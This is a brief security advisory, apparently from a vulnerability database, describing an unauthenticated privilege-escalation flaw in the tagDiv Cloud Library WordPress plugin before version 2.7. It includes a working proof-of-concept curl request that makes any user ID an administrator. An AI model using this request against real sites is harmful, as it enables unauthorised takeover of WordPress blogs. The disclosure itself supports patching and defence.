tagDiv Cloud Library < 2.7 - Unauthenticated Arbitrary User Metadata Update to Privilege Escalation

2023-06-1900:00:00

Truoc Phan

privilege escalation

unauthenticated

metadata update

tagdiv cloud library

0.002 Low

EPSS

Percentile

55.8%

JSON

The plugin does not have authorisation and CSRF in an AJAX action accessible to both unauthenticated and authenticated users, allowing unauthenticated users to change arbitrary user metadata, which could lead to privilege escalation by setting themselves as an admin of the blog.

To set the user with ID 5 to an administrator:

curl -X POST --data 'action=tdb_user_form_on_submit&userID=5&formElements={"content-fields":[{"name":"wp_capabilities","value":{"administrator":true}}]}' https://example.com/wp-admin/admin-ajax.php

0.002 Low

EPSS

Percentile

55.8%

JSON

Related for WPEX-ID:4EAFE111-8874-4560-83FF-394ABE7A803B